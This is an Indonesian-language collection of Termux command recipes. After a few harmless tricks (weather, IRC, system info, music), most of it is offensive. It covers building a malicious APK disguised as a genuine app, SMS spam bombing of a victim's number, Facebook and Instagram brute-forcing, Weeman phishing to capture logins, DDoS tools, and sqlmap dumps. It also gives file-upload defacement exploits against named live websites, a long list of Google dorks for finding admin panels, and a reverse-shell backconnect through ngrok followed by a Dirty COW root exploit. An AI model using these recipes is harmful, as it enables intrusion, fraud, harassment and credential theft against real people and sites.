

rm -rf toolsnya

\$ moon-buggy

irssi

/nick w3wandroid

```
/join #modol
```

\$ irssi

\$ /nick 1235

12345 di ganti sesuai nama/nick agan

\$ /join #XCAteam

---

PERKIRAAN cuaca

curl http://wttr.in/ (lokasi)

---

Browsing di termux

\$ pkg install w3m

\$ w3m www.google.com

Linknya bsa diubah

---

Telephone di termux

\$ pkg install termux-api

\$ termux-telephony-call nomornya

---

Menampilkan animasi kereta :v

\$ pkg install sl

\$ sl

menampilkan ikon dan informasi sistem android

\$ pkg install neofetch

\$ neofetch

menampilkan teks dalam format ASCII

```
$ pkg install figlet
```

```
$ figlet masukan teksnya
```

---

MEMUTAR MUSIC DI YOUTUBE VIA TERMUX

```
$ pip install mps_youtube
```

```
$ pip install youtube_dl
```

```
$ apt install mpv
```

```
$ mpsyt
```

```
$ /judul lagu
```

Tinggal pilih lagu dengan mengetik nomornya

musikan di termux

```
$ pkg install mpv
```

```
$ mpv/sdcard/lagu.mp3
```

/sdcard/ bisa di ganti sesuai letak music

---

CRACK PASSWORD HASH

```
$ git clone https://github.com/FajriHidayat088/FHX-Hash-Killer/
```

```
$ cd FHX-Hash-Killer
```

```
$ python2 FHXHashKiller.py
```

```
$ git clone https://github.com/UltimateHackers/Hash-Buster
```

```
$ cd Hash-Buster
```

```
$ python2 hash.py
```

---

## ASCII ART MAPS

```
- pkg install update && upgrade
```

```
- pkg install perl
```

```
- git clone https://github.com/x-xsystem/maps.git
```

```
- cd maps
```

```
- perl maps.pl
```

```
- untuk Zoom tekan A
```

```
- Password: (pejuang212)
```

---

## CARA MENGHIAS TAMPILAN TERMUX

```
$ pkg update && pkg upgrade
```

```
$ pkg install ruby cowsay toilet figlet
```

```
$ pkg install neofetch
```

```
$ pkg install nano
```

```
$ pkg install ncurses-utils
```

```
$ pkg install ruby
```

```
$ pkg install lolcat
```

```
$ pkg install cowsay
```

```
$ gem install lolcat
```

```
$ nano .bashrc
```

```
clear

blue='\e[1;34m'
green='\e[1;32m'
purple='\e[1;35m'
cyan='\e[1;36m'
red='\e[1;31m'
white='\e[1;37m'
yellow='\e[1;33m'

NOW=`date "+%d.%m.%Y"`
TIME=`date "+%H:%M"`

cowsay -f eyes **Welcome To MRCX hacking tool** | lolcat
toilet -f standard " **MRCX** " -F gay

neofetch

echo " Time : " $TIME | lolcat

date | lolcat

echo

echo Username : marcyber team | lolcat

echo Hostname : @MRCX~#root_system | lolcat

echo

echo @localhost:~# | lolcat

echo root@localhost:~$ | lolcat

echo -e $green

echo root@MRCX:~$
```

---

TUTORIAL MEMBUAT VIRUS SEPERTI APLIKASI ASLINYA

Tools yang dibutuhkan: APK Editor & tool vbug

APK Editor bisa didownload di playstore

Tool vbug <https://www.mediafire.com/file/6hs6y71ryw10uvw/vbug.zip>

1. Download tool vbugnya dulu
2. Taruh file tool vbug di luar folder pada memori internal
3. Buka termux lalu \$ cd /sdcard
4. \$ unzip vbug.zip
5. \$ cd vbug
6. \$ python2 vbug.py
7. Enter
8. Ketik 10
9. Ketik E
10. Aplikasi virusnya sudah jadi

Setelah aplikasinya jad kita tinggal edit supaya mirip aslinya

1. Buka APK Editor
2. Klik Select an Apk File
3. Pilih aplikasi virus tadi
4. Klik full edit
5. Pada bagian kolom app\_name tulis nama aplikasi yang kalian inginkan
6. Lalu klik files
7. Klik res/drawable
8. Logo yang kedua itu ganti dengan logo aplikasi yang kalian inginkan

Catatan: format logo harus .png

9. Ceklist logo yang kedua lalu replace
10. Pilih file logo yang mau dijadikan logo aplikasi agan
11. Back sampai home

Supaya aplikasi terlihat lebih nyata kita harus beri bobot pada aplikasi buatan kita

12. Klik tanda plus yang ada di bawah kiri, pilih file, lagu, gambar atau apapun yang cocok sebagai bobot aplikasi

13. Klik build

14. Tunggu hingga selesai

15. Jadi deh

VBugMaker Termux

-apt update && apt upgrade

-apt install git

-apt install python

Download file -><http://upfile.mobi/YGwg8gQLuvv>

Pindah ke directory

Next

-unzip vbug.zip

-mv vbug \$HOME

-cd vbug

-ls

-chmod +x vbug.py

-python2 vbug.py

#Done

---

BOOM SPAM DI TERMUX

apt upgrade && apt update

apt install git

```
git clone https://github.com/Amriez/gcospam
```

```
cd gcospam
```

```
sh install.sh
```

```
sh gco.sh
```

Pilih nomer yang mana ajjh

Lalu

Masukan nomer tanpa 0/62

Input bebas

Jeda default aja

Spam bom mall

```
$ pkg install update
```

```
$ pkg install upgrade
```

```
$ pkg install wget
```

```
$ pkg install php
```

```
$ wget http://files-store.theprivat.ml/uploads/bom-mall.zip
```

```
$ unzip bom-mall.zip
```

```
$ cd bom-mall
```

```
$ php run.php
```

(Install \*SpamTsel\*)

```
$ pkg install curl
```

```
$ pkg install php
```

```
$ curl -s http://files-store.theprivat.ml/uploads/bombtsel.txt > bombtsel.php
```

```
$ chmod 777 bombtsel.php
```

```
$ php bombtsel.php
```



### 3) Tool Spam LITESPAM

```
$ pkg install php
```

```
$ pkg install toilet
```

```
$ pkg install sh
```

#### LITESPAM

```
$ pkg install git
```

```
$ git clone https://github.com/4L13199/LITESPAM
```

```
$ cd LITESPAM
```

```
$ sh LITESPAM.sh atau
```

```
bash LITESPAM.sh
```

Masukan Nomer nya...

#### Spammer GRAB

```
$pkg install python2
```

```
$pip2 install requests
```

```
$pkg install git
```

```
$git clone http://github.com/p4kl0nc4t/Spammer-Grab
```

```
$cd Spammer-Grab
```

```
$python2 spammer.py nomor hp korban --delay 30
```

spam sms jdid

1.PKG install PHP

2.pkg install cURL

3.curl <https://pastebin.com/raw/9BYy1JVc> -o jdid.php

4.php jdid.php

Hacking spammer by seni

```
$apt update && apt upgrade
```

```
$apt install python2 php
```

```
$pip2 install requests
```

```
$apt install nano
```

```
$apt install git
```

```
$git clone https://github.com/Senitopeng/
```

```
SpamSms.git
```

```
$cd SpamSms
```

```
$python2 mantan.py
```

---

## HACKING DAN TRICK FB VIA TERMUX

### AUTO BOOT FACEBOOK

```
$ git clone https://github.com/Senitopeng/BotFbBangDjon.git
```

```
$ cd BotFbBangDjon
```

```
$ python2 bangdjon.py
```

Cara crack id fb

<https://findmyfbid.in/>

```
git clone https://github.com/tomiashari/fb-autoreaction.git
```

```
cd fb-autoreaction
```

```
python2 fb-autoreaction
```

## HACKING THOOLS MBF FACEBOOK

```
$ pkg update && upgrade
```

```
$ pkg update && upgrade
```

```
$ pkg install python2
```

```
$ pkg install git
```

```
$ git clone https://github.com/pirmansx/mbf
```

```
$ cd mbf
```

```
$ python2 MBF.py
```

## (HACKING FB LEWAT TERMUX)

```
$ apt update
```

```
$ apt upgrade
```

```
$ apt install python2
```

```
$ apt install python2-dev
```

```
$ apt install wget
```

```
$ pip2 install mechanize
```

```
$ cd/storage/emulated/0
```

```
$ python2 fbbrute.py ( yg tdi di download di tunda di luar folder )
```

```
$ storage/emulated/0/fassword.txt ( sama kya yang tadi di download trus tinda di luar folder )  
=tinggal tunggu fassword nya muncul Jika beruntung
```

## BRUTEFORCE

```
$ apt update
```

```
$ apt upgrade
```

```
$ apt install python
```

```
$ apt install pip
```

```
$ pip install wordlist
```

```
$ apt install worlist
```

```
$ Wordlist -h
```

```
$ cd /sdcard
```

```
$ Cat pas.txt
```

FACEBOOK BRUTO FORCE

```
$ apt update
```

```
$ apt upgrade
```

```
$ apt install python2
```

```
$ apt install python2-dev
```

```
$ apt install wget
```

```
$ pip2 install mechanize
```

```
$ cd/storage/emulated/0
```

```
$ python2 fbbrute.py
```

```
$ storage/emulated/0/password.txt
```

Hacking tool weeman

```
$ apt-get update
```

```
$ apt-get upgrade
```

```
$ pkg install python2
```

```
$ pkg install git
```

```
$ git clone https://github.com/evait-security/weeman.git
```

```
$ ls
```

\$ cd weeman

\$ ls

\$ python2 weeman.py

\$ show

\$set url https://www.facebook.com

\$set action\_url https://www.facebook.com

\$ show

buka new season (new tab) /lembar ke 2

\$ ifconfig

jika slesai copy no addres yg tertera. jngn sampai salah karna ada 2 addres disitu. jika tdk tau yg mna tanya.

stelah copy no adres.

buka lembar pertama lagi tulis

\$ run

kasih adres tdi ke target.

contoh 125.25.175.88:8080 ingt hrus ksh port > :8080

jika sudah dibuka dngn dia. saat dia login nnti.

email. pass. tertera. serta data" akun target....

hacking fbbrute2 by decsec

\$ apt update (enter)

\$ apt upgrade (enter)

\$ apt install python2 (enter)

\$ apt install wget (enter)

\$ pip2 install mechanize (enter)

\$ cd /sdcard (enter)

```
$ mkdir facebrute (enter)
```

```
$ cd facebrute (enter)
```

```
$ wget http://override.waper.co/files/facebook.apk
```

```
$ wget http://override.waper.co/files/password.apk
```

```
$ mv facebook.apk facebook.py (enter)
```

```
$ mv password.apk password.txt (enter)
```

```
$ python2 facebook.py (enter)
```

```
#Selesai
```

```
*note: Untuk masalah wordlist bisa buat sendiri
```

```
kok ^^ . Buat sendiri lebih efektif...
```

```
hackingfbbrute3
```

```
$ Apt update ( Enter )
```

```
$ Apt upgrade ( Enter )
```

```
$ Apt install python2 ( Enter )
```

```
$ Pip2 install urllib3 chardet certifi idna requests( Enter )
```

```
$ Apt install openssl curl ( Enter )
```

```
$ Pkg install libcurl ( Enter )
```

```
$ Ln -s/sdcard ( Enter )
```

```
$ cd sdcard ( Enter )
```

```
$ Python2 fb.py ( Enter )
```

```
Hacking Botkomena fb
```

```
$pkg update && pkg upgrade
```

```
$pkg install git
```

```
$pkg install python2
```

```
$pip2 install mechanize
```

```
$git clone https://github.com/Senitopeng/
```

```
Botkomena.git
```

```
$cd Botkomena
```

```
$python2 botkomena.py
```

Cara Install OSIF ( Open Source Information Facebook )

```
$ pkg install python2
```

```
$ git clone https://github.com/ciku370/OSIF
```

```
$ cd OSIF
```

```
$ pip2 install -r requirements.txt
```

Dan cara menjalankannya menggunakan perintah :

```
python2 osif.py
```

weemen

1.download dulu termux

2.instal termux :V

3.ketik

```
apt install git python2
```

4.ketik

```
git clone https://github.com/evait-security/weeman.git
```

5.ketik

```
cd weeman
```

6.ketik

```
python2 weeman.py
```

kalau udh ke install seperti ini

1.ketik

set url https://m.facebook.com

2.ketik

set action\_url https://m.facebook.com/login

3.ketik

run

Kalau sudah begini .

ketik 127.0.0.1:8080 pada browser maka web phishing yg di buat tadi sudah jadi

lalu lemparkan ke target link 127.0.0.1:8080

lalu kalau korban terjebak , di mana email dan password nya ? masuk dalam termux jangan di tutup

weeman tidak hanya dapat di gunakan sebagai media phishing facebook saja.

kita juga dapat membuat web phishing situs lainnya misalnya twitter instagram dll asal memiliki/terdapat form input

---

Hacking instagram

\$ apt update && apt upgrade -y

\$ apt install nodejs git

\$ cd Instagram-Private-Tools

\$ node index.js

\$ git clone https://github.com/

ccocot/Instagram-Private-Tools.git

\$ npm install

\*HACK INSTAGRAM\* ( sosial engineering)

\$ apt update && apt upgrade

\$ pkg install python



```
$ pkg install git
$ pkg install nano
$ git clone https://github.com/avramit/instahack.git
$ ls
$ cd instahack
$ ls
$ pip install requests
$ cd instahack
$ nano pass.txt
$ cat pass.txt
$ ls
$ python hackinsta.py
```

---

Localizar ip

Apt install python git

```
git clone https://github.com/maldevel/IPGeoLocation.git
```

```
cd IPGeoLocation
```

```
chmod +x ipgeoLocation.py
```

```
pip install -r requirements.txt
```

```
python ipgeolocation.py -m
```

```
python ipgeolocation.py -t http://www.google.com
```

Lacak IP

```
git clone https://github.com/maldevel/IPGeolocation
```

```
cd IPGeolocation
```

```
chmod +x ipgeolocation.py
```

```
pip install -r requirements.txt
```

```
python ipgeolocation.py -m
```

```
python ipgeolocation.py -t IP yang ingin dilacak
```

---

## TOOL DDOS VIA TERMUX

### 1. Hammer

```
$ pkg update (tekan enter)
```

```
$ pkg upgrade (tekan enter)
```

```
$ pkg install python (tekan enter)
```

```
$ pkg install git (tekan enter)
```

```
$ git clone https://github.com/cyweb/hammer (tekan enter)
```

```
$ cd hammer (tekan enter)
```

```
$ python hammer.py (tekan enter)
```

```
$ python hammer.py -s [IP target] -p [port] -t 135 (tekan enter)
```

### 2. Xerxes

```
$ apt install git
```

```
$ apt install clang
```

```
$ git clone https://github.com/zanyarjamal/xerxes
```

```
$ ls
```

```
$ cd xerxes
```

```
$ ls
```

```
$ clang xerxes.c -o xerxes
```

```
$ ls
```

```
$ ./xerxes (nama website) 80
```

### 3. Torshammer

```
$ pkg update
```

```
$ pkg install git
```

```
$ apt install tor
```

```
$ pkg install python2
```

```
$ git clone https://github.com/dotfighter/torshammer.git
```

```
$ ls
```

```
$ cd torshammer
```

```
$ python2 torshammer.py
```

### 4. liteDDOS

```
$ apt update
```

```
$ apt upgrade
```

```
$ pkg install git
```

```
$ pkg install python2
```

```
$ git clone https://github.com/4L13199/LITEDDOS
```

```
$ cd LITEDDOS
```

```
$ python2 liteDDOS.py
```

---

### RED\_HAWK tool

```
$ apt update
```

```
$ apt install git
```

```
$ git clone https://github.com/Tuhinshubhra/RED_HAWK
```

```
$ cd RED_HAWK
```

```
$ chmod +x rhawk.php
```

```
$ apt install php
```

```
$ ls
```

```
$ php rhawk.php
```

```
```Install webdav ```
```

```
$ apt update && upgrade
```

```
$ apt install python2
```

```
$ pip2 install urllib3 chardet certifi idna requests
```

```
$ apt install openssl curl
```

```
$ pkg install libcurl
```

```
$ ln -s /sdcard
```

```
$ cd sdcard
```

```
$ mkdir webdav
```

```
$ cd webdav
```

```
Tutorial Install
```

```
*Tools-B4J1N64Nv5*
```

```
pkg install update
```

```
pkg install git
```

```
pkg install toilet
```

```
pkg install figlet
```

```
pip2 install lolcat
```

```
git clone https://github.com/DarknessCyberTeam/B4J1N64Nv5
```

```
cd B4J1N64Nv5
```

sh B4J1N64N.sh

cara install termux ubuntu

- apt update/pkg update - apt upgrade/pkg upgrade - pkg install git - pkg install proot - pkg install wget - git clone <https://github.com/Neo-Oli/termux-ubuntu> - cd termux-ubuntu - chmod +x ubuntu.sh - pip install -r requirements.txt - ./ubuntu.sh Untuk menjalankan - ./start.sh

Cara install github tembak XL

Dari awal

1.pkg upgrade

2.pkg update

3.pkg install git

4.pkg install python

5.git clone <https://github.com/albertoanggi/xl-py>

6.pip install -r requirements.txt

7.chmod +x app.py

8.python/python2 app.py

\*Install admin finder in termux\*

\$ apt update && apt upgrade

\$ pkg install python2

\$ pkg install git

\$ git clone <https://github.com/AdheBolo/AdminFinder>

\*Menjalankan\*

\$ ls

\$ cd AdminFinder

\$ chmod 777 AdminFinder.py

```
$ python2 AdminFinder.py
```

\*Cara install tool Mr.Rv1.1\*

```
$apt update && apt upgrade
```

```
$pkg install git
```

```
$pkg install gem
```

```
$pkg install figlet
```

```
$gem install lolcat
```

```
$git clone https://github.com/Mr-R225/Mr.Rv1.1
```

```
$cd Mr.Rv1.1
```

```
$sh Mr.Rv1.1.sh
```

tool install

```
$ apt update && apt upgrade
```

```
$ apt install git
```

```
$ git clone https://github.com/aryanrtm/4wsectools
```

```
cd 4wsectools
```

```
chmod 777 tools
```

```
./tools
```

TOOL FSOCIETY

```
$ git clone https://github.com/manisso/fsociety
```

```
$ cd fsociety
```

```
$ ./install.sh
```

```
$ ls
```

```
$ python2 fsociety.py
```

## SQLMAP

apt update

apt install python

apt install python2

apt install git

git clone <https://github.com/sqlmapproject/sqlmap>

<https://github.com/sqlmapproject/sqlmap.git>

cd sqlmap

Python2 sqlmap.py

## Exemplo

Python2 sqlmap.py -u website -dbs

-D acuart -tables

-D acuart -T users -columns

-D acuart -T users -C name,email,phone -dump

## BUSCA PAINEL ADM DE SITE

pkg install git

git clone [https://github.com/Techzindia/admin\\_penal](https://github.com/Techzindia/admin_penal)

cd admin\_penal

chmod +x admin\_panel\_finder.py

python2 admin\_panel\_finder.py

## HAKKU

apt install pytho

```
apt install git
```

```
mkdir vasu
```

```
git clone https://github.com/4shadoww/hakkuframework
```

```
cd hakkuframework
```

```
chmod +x hakku
```

```
python hakku
```

```
show modules
```

```
use whois
```

```
show options
```

```
set target examplesite.com
```

```
run
```

TOOL D-TECT

```
apt update
```

```
apt install git
```

```
git clone https://github.com/shawarkhanethicalhacker/D-TECT
```

```
cd D-TECT
```

```
apt install python2
```

```
chmod +x d-tect.py
```

```
python2 d-tect.py
```

```
examplesite.com
```

viSQL

```
apt update
```

```
apt install python2
```

```
apt install git
```



```
git clone https://github.com/blackvkng/viSQL
cd viSQL
python2 -m pip install -r requirements.txt
python2 viSQL.py
python2 viSQL.py -t http://www.bible-history.com
```

## Hash Buster

```
apt update
apt upgrade
apt install python2
apt install git
git clone https://github.com/UltimateHackers/Hash-Buster
cd Hash-Buster
python2 hash.py
```

## tool ubuntu

```
$ apt update
$ apt install git
$ apt install wget
$ apt install proot
$ git clone https://github.com/Neo-Oli/termux-ubu#8230;
$ cd termux-ubuntu
$ chmod +x ubuntu.sh
$ ./ubuntu.sh
$ ./start.sh
```

(``Install`` \*Hunner framework\*)

```
$ apt update
```

```
$ apt install python
```

```
$ apt install git -y
```

```
$ git clone https://github.com/b3-v3r/Hunner
```

```
$ cd Hunner
```

```
$ chmod 777 hunner.py
```

```
$ python hunner.py
```

\*Cara Install Lazymux di Termux\*

```
$ pkg update && upgrade
```

```
$ pkg install python2
```

```
$ pkg install git
```

```
$ git clone https://github.com/Gameye98/Lazymux
```

```
$ cd Lazymux
```

```
$ chmod +x lazymux.py
```

```
$ python2 lazymux.py
```

Cara install tools daijobu\*

Fungsinya nanti liat sendiri lah di dalem tools nya

```
$apt upgrade && apt update
```

```
$apt install php
```

```
$apt install git
```

Kalo udah selesai langsung masukan git nya dengan perintah

```
$git clone https://github.com/alintamvanz/diejoubu
```

```
$cd diejoubu
```

```
$cd v1.2
```

```
$php diejoubu.php
```

Hecker RECONDOG

```
apt update
```

```
apt install python python2
```

```
apt install git
```

```
git clone https://github.com/UltimateHackers/ReconDog
```

```
cd ReconDog
```

```
chmod +x dog.py
```

```
Python2 dog.py
```

---

DEFACE

Hacking Script-Deface

```
$apt update
```

```
$apt upgrade
```

```
$apt install git
```

```
$apt install python2
```

```
$git clone https://github.com/Ubait/script-deface-creator
```

```
$ls
```

```
$cd script-deface-creator
```

```
$ls
```

```
$chmod +x create.py
```

\$ls

\$python2 create.py

done semoga bisa bikin script Html

## CARA DEFACE

### Cara1

Siapkan script sendiri..

1.buka browser kalian apa saja terserah lalu ke google

2.tulis dork nya berikut ini (inurl:"sitefinity/login.aspx) tanpa tanda buka kurung dan tutup kurung! lalu search

3.pilih lah salah satu website terserah kalian,klik website nya lalu tambahkan exploit nya sebagai berikut (sitefinity/usercontrols/dialog/documenteditorDialog.aspx) tanpa buka tutup kurung! E  
[http://sitetarget\\*org/sitefinity/usercontrols/dialogs/documenteditorDialog.aspx](http://sitetarget*org/sitefinity/usercontrols/dialogs/documenteditorDialog.aspx)

4.lalu klik search kembali! nah disitu kalian klik chose file dan pilih script deface punya kalian

5.klik yang di bawah nya tunggu sampai loading selesai

6.tambah link target tadi dengan (/files) contoh  
[http://sitetarget\\*org/files/namascriptdefacekalian.html](http://sitetarget*org/files/namascriptdefacekalian.html) lalu klik search

7.selesai!!

### Cara2

Method/metode KCFinder

Inurl:/kcfinder/browse.php

Inurl:/Kcfinder/

Langsung saja upload file deface anda,lalu panggil dengan tambahan /file/namasckamu.html

Contoh:

<https://basukiwater.com/kcfinder/browse.php>

jadi

<https://basukiwater.com/file/namasckamu.html>

cara3

Deface Onion.to File Upload

Tutor ini sekarang lagi Ngtreend & Simple , tapi ingat ya bukan Deepweb melaikan Fake Deepweb  
hehehe... Mari kita Lanjut...

Dork : - inurl:/upload site:.onion.to

- intext:"Upload" site:.onion.to

Live : <https://tt3j2x4k5ycaa5zt.onion.to/upload.php>

Step By Step :

1. Dorking Dulu
2. Pilih Web Target
3. Pilih File yang mau di'upload
4. Tinggal klik Upload => Done 🎯

Contoh Target :

<https://tt3j2x4k5ycaa5zt.onion.to/uploads/lopeyou.html>

<https://danwin1210.me/uploads/lopeyou.html>

<https://temp.xn--wda.fr/e719x8JgJ.html>

Mirror?! [?](#)

<https://www.defacer.id/296011.html>

<https://www.defacer.id/296024.html>

cara4

Metode com media

Bahan :

1. Dork : - inurl:com\_media site:com

- inurl:com\_media intext:"Upload"

2. Exploit :

/index.php?option=com\_media&view=images&tmpl=component&fieldid=&e\_name=jform\_articlete  
xt&asset=com\_content&author=&folder=

3. Upload'an : Format .txt [?](#)

Live Target : <http://www.james-insurance.co.uk/>

Step by Step :

gunakan Live Targert dulu untuk Uji Coba [?](#)

1. Masukkan dork : inurl:com\_media intext:"Upload" site:co.uk

2. Pilih salah satu Web

3. Masukkan Exploit

[http://www.james-insurance.co.uk/index.php?option=com\\_media&view=images&tmpl=component&fieldid=&e\\_name=jform\\_articlete](http://www.james-insurance.co.uk/index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articlete)  
xt&asset=com\_content&author=&folder=

4. Lalu Upload file dalam tempat upload ( format .txt )

Akses shell ?

Tambahkan : /images/namafile.txt

contoh : <http://www.james-insurance.co.uk/images/fac.txt>

Nanti Jadi Gini Hasilnyaa..

Mudah Bukan?! Tinggal Upload ke Defacer.id 

cara5

[POC] Vulnerability Simplicity Of Upload

#Step 1:

Dork: "Powered By: © Simplicity of Upload"

#Step 2:

Exploit: [http://\[situstargetkamu\]/PATH/upload.php](http://[situstargetkamu]/PATH/upload.php)

\*Tergantung dengan target.

#Step 3:

Allowed file: gif, jpg, png, txt, php, asp, cgi, zip, exe, mp3, etc (not allowed for html)

#Step 4:

Preview: [http://\[situstargetkamu\]/upload/\[Your File\]](http://[situstargetkamu]/upload/[Your File])

#Step 5: Live Demo:

<http://www.railfaneurope.net/pix/upload.php>

<http://www.formplas.com/upload/upload.php>

\*Di google masih banyak kok

Nah, saya kira cukup segitu aja kok, karena mudah tuh tutorial nya.

Kalau masih ada yang bingung ? komen aja, nanti langsung saya bales

Keep spirit brothers

Home: <http://www.fikrifakhrezy.com/>

FB: <https://www.facebook.com/fikri.badboy>

Twitter: [https://www.twitter.com/fikri\\_badboy](https://www.twitter.com/fikri_badboy)

Deface Methode File Upload

TUTORIAL

DORK : <inurl:/examples/uploadbutton.html>

1. Pastekan Dork Di google

2. Pilih Salah Satu Site Misal Saya Pilih Paling atas

3. Setelah di buka Tampilan akan seperti ini kemudian pilih upload lalu pilis script yang mau di upload

4. Setelah Memilih otomatis akan muncul link di samping tombol upload copy linknya (ctrl + a)

5. pastekan link yang kita dapat di belakang url web tsb misal

[www.dgmotor.com/Public/Plug/kindeditor-](http://www.dgmotor.com/Public/Plug/kindeditor-)

[4.1.4/attached/file/20170818/20170818163648\\_24620.html](http://www.dgmotor.com/Public/Plug/kindeditor-4.1.4/attached/file/20170818/20170818163648_24620.html)

6. Dan Bisa Kita Lihat Hasilnya

7. Kalau kita pengen memperlihatkan ke orang lain bisa copy link di atasnya

ALL DORK

<inurl:/admin site:in>

[intext:"password" inurl:/admin site:in](intext:)

<inurl:/panel/index.php>

[intitle:"administrator" site:in](intitle:)

[inurl:/panel intext:"Parent Directory"](inurl:/panel intext:)



intitle:"login" inurl:/administrator site:uk

inurl:/panel intext:"Parent Directory" intitle:"/image site:in

intitle:"administrator" inurl:/login.php site:in

intext:"username" intitle:"login"

inurl:/admin/logout.php

inurl:/admin/images intext:"Parent Directory" site:in

site:uk intext:"admin/images" intitle:"index of"

intext:"banner" inurl:/admin

panel/login.php

inurl:/login site:in

intext:"logo" inurl:/panel

"index of" admin/upload

site:in /admin/upload

/adminpanel/login.php intext"username"

inurl:/panel/login.html

inurl:/admin/login.html

inurl:/administrator/login.html

inurl:/adminpanel/login.html

inurl:/login/login.html

inurl:/admin/add.php

intext:"index of" inurl:/admin/images

site:in & site:uk inurl:/admin/index.php

intitle:"login" /login.php

intext:"Parent Directory" inurl:/admin/upload

site:id /admin/uploads

site:id /admin/ upload

site:uk /admin/uploads

site:uk /admin/upload

/admin

/panel/

inurl:/login.aspx site:in

intext:"members" inurl:/login

inurl:/admin/dashboard.php

intext"register" intitle:"login"

inurl:/admin/images/files

inurl:/admin/uploads/images

inurl:/index.php intext:"username" intitle:"administrator"

inurl:/index.php intext:"username" intitle:"login"

inurl:/index.php intext:"password" intitle:"administrator"

inurl:/index.php intext:"password" intitle:"login"

inurl:/index.php intext:"username" intitle:"panel"

inurl:/login.php intext:"username" intitle:"panel"

inurl:/login.php intext:"password" intitle:"panel"

inurl:/login.php intext:"username" intitle:"login"

inurl:/login.php intext:"password" intitle:"login"

inurl:/login.php intext:"user" site:in

/login.html intitle:"admin"

/login.html intitle:"admin" site:in

/login.html intitle:"admin" site:id

/login.html intitle:"admin" site:uk

/login.html intitle:"admin" site:za

/loin.html intitle:"admin" site:i/login.html intitle:"admin" site:pl

intext:"login"

intext:"please login" site:in

intext:"login succesfully" site:in

intext:"login succesfully" site:id

intext:"login succesfully" site:za

intext:"login succesfully" site:inintext:"login succesfully" site:pl

inurl:/admin/index.htm site:in

intitle:"dashboard" inurl:/dashboard.php

intitle:"dashboard" inurl:/daintitle:"dashboard" inurl:/dash.php

inurl:/admin/gallery.php

site:in /login

site:id /login

site:in /admin/add\_gallery.php

site:in /admin/addgallery.php

site:in /banner.php

site:in /admin/banner.php

inurl:/login/login/login/login.php

inurl:/home/admin/index.php

inurl:/blog/admin/index.php

inurl:/admin/admin.php

inurl:/admin/.php

intitle:"home" inurl:/admin

intext:"welcome to administrator"

intext:"welcome" inurl:/admin

intext:"selamat datang di panel"

"welcome to dashboard" inurl:/dash.php

inurl:/home.php "dashboard" site:in  
inurl:/panel/home.php  
inurl:/admin/home.php  
inurl:/administrator/home.php  
inurl:/admin/home1.php  
intext:"news" /admin/add.php  
intext:"add news" inurl:/addnews.php  
inurl:/tambah-berita.php  
inurl:/tambah.php intext:"tambah berita"  
/gallery-del.php site:in  
site:in /admin/gallery.php  
/addgallery.php  
/admin/gallery-add.php  
intitle:"dashboard" inurl:/admin  
intitle:"dashboard" inurl:/login  
intitle:"dashboard" inurl:/administrator  
intitle:"dashboard" inurl:/admin site:in

---

## HACKING WIFI

Yang request bobol wifi. Ini cara mudah disederhanakan.

- 1) gunakan dulu jaringan hp + buka wifi, cari tempat yang wifi nya cepat + masih di password.
- 2) buka termux.
- 3) apt update + apt upgrade
- 4) pkg install git

- 5) `git clone https://github.com/esc0rtd3w/wifi-hacker`
- 6) `cd wifi-hacker/`
- 7) `chmod +x wifi-hacker.sh`
- 8) `./wifi-hacker.sh`
- 9) pilih y tunggu 10 detik lalu pilih 2
- 10) buka menu wifi di hp. Tutup terus buka lagi. Otomatis terhubung.
- 11) bobol wifi, bisa connect tapi kita tetap gak tau pw. Yang penting bisa wifian gratis.

`tool Routersploit`

`apt install git`

`apt install python2`

`pip2 install requests`

`git clone https://github.com/reverse-shell/routersploit.git`

`cd routersploit`

`pip install -r requirements.txt`

`termux-fix-shebang rsf.py`

Cara pake

`cd routersploit`

`./rsf.py`

`use scanners/autopwn`

`show options`

`set target 192.168.1.1`

`set port 8080`

set threads 10

masukkan exploitsnya

set target 192.168.1.1

-check

-run

---

``Cara install tools daijobu``

Fungsinya nanti liat \*sendiri lah di dalem tools nya\*

\$apt upgrade && apt update

\$apt install php

\$apt install git

\*Kalo udah selesai langsung masukan git nya dengan perintah\*

\$git clone https://github.com/alintamvanz/diejoubu

\$cd diejoubu

\$cd v1.2

\$php diejoubu.php

\$ curl -k -O https://pastebin.com/raw/HnVyQPtR

\$ mv HnVyQPtR webdav.py

\$ python2 webdav.py

tahap penginstalan

\$ apt update && apt upgrade

\$ pkg install git

\$ pkg install python2

```
$ git clone http://github.com/AdheBolo/AdminLogin
```

**\*Tahap menjalankan\***

```
$ ls
```

```
$ cd AdminLogin
```

```
$ ls
```

```
$ chmod 777 login.py
```

```
$ python2 login.py
```

Sekarang tinggal masukkan url target contoh (http://coligan.com) #tanpa tanda kurung

Nanti bakal muncul text berikut :

**\*Enter the URL to be scanned: http://coligan.com\***

**\*Choose the type of the website:\***

**\*1. ASP\***

**\*2. JSP\***

**\*3. PHP\***

**\*4. Others\***

**\*0. IDK (Searches all types - takes longer time)\***

**\*For example, enter 1 if it is a\* \*ASP site, 2 for JSP, 3 for PHP and 4 for others\***

**\*Enter your choice ->\* tekan saja ( \*0\* ) tanpa tanda kurung...ingat angka nol ( \*0\* ) saja**

---

Cara Root Server Di Termux Dengan Ngrok Perl/PHP BackConnector Mass Deface.

1. Install~ Buka Termux

2. Install Ngrok Registrasi Authtokennya.

(<http://ngrok.com/download>;<http://ngrok.com/signup>)

```
$ wget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm.zip
```

```
$ unzip ngrok-stable-linux-arm.zip ngrok
```

```
$ ./ngrok authtoken JWJDKNxxxxxxxxxx
```

```
$ ./ngrok tcp port
```

```
:~# Welcome : Plan Free
```

```
"0.tcp.ngrok.io:port-ngrok ~> localhost:port"
```

3. Download Perl/PHP Backconnecter

(<http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet>)

dan Edit file nya, cari \$ip dan \$port ganti dengan (0.tcp.ngrok.io:port-ngrok)

~>Upload ke website (PERL: ON)(PHP: ON)

5. in termux command :

```
$ nc -lnvp port
```

6. in backdoor shell :

```
$ perl perl-reverse-shell.pl
```

(atau)

```
> http://situs.co.li/perl-reverse-shell.php
```

(Run the script simply by browsing to the newly uploaded file in your web browser)

.----(after backconnect successfully)---

7. upload LOCALROOT

```
$ wget https://domain.com/localroot/dirty
```

```
$ chmod 777 dirty
```



`$. /dirty`

New password: ndasmu

(successfully rooted)

8. import TTY shell

===>jika menggunakan dirty<===

`$ echo "import pty; pty.spawn('/bin/bash')" > /tmp/sad.py`

`$ python /tmp/sad.py`

===>jika menggunakan cowroot<===

`$ python -c 'import pty;pty.spawn("/usr/bin/passwd")'`

(<https://evertpot.com/189/>)

9. login as ROOT

`$ su rintoar`

